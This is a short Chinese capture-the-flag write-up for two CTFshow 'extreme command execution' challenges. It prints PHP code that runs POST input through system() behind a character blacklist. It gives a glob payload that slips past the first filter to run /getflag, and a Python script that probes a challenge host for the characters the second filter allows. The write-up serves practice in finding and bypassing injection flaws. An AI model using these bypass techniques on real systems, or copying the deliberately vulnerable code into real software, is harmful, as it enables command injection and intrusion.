CTFshow——极限命令执行专题

CTFshow——极限命令执行专题

[TOC]

极限命令执行1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>

waf里面少了a/,用?代替其他的字符->/?????a?从而执行/getflag

20250826184432

极限命令执行2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag

error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>

跑一下可用字符:

1
2
3
4
5
6
7
8
9
10
11
12
import requests, string

url = "http://c02d3adb-baec-43a3-b6b8-db459552c960.challenge.ctf.show"
allowed = []
for c in string.printable:
r = requests.post(url, data={"ctf_show": c})
if "??????" not in r.text:
allowed.append(c)

print("可用字符:", allowed)
print(''.join(a for a in allowed))

可用字符:0123456789!#$&'()<\_{}~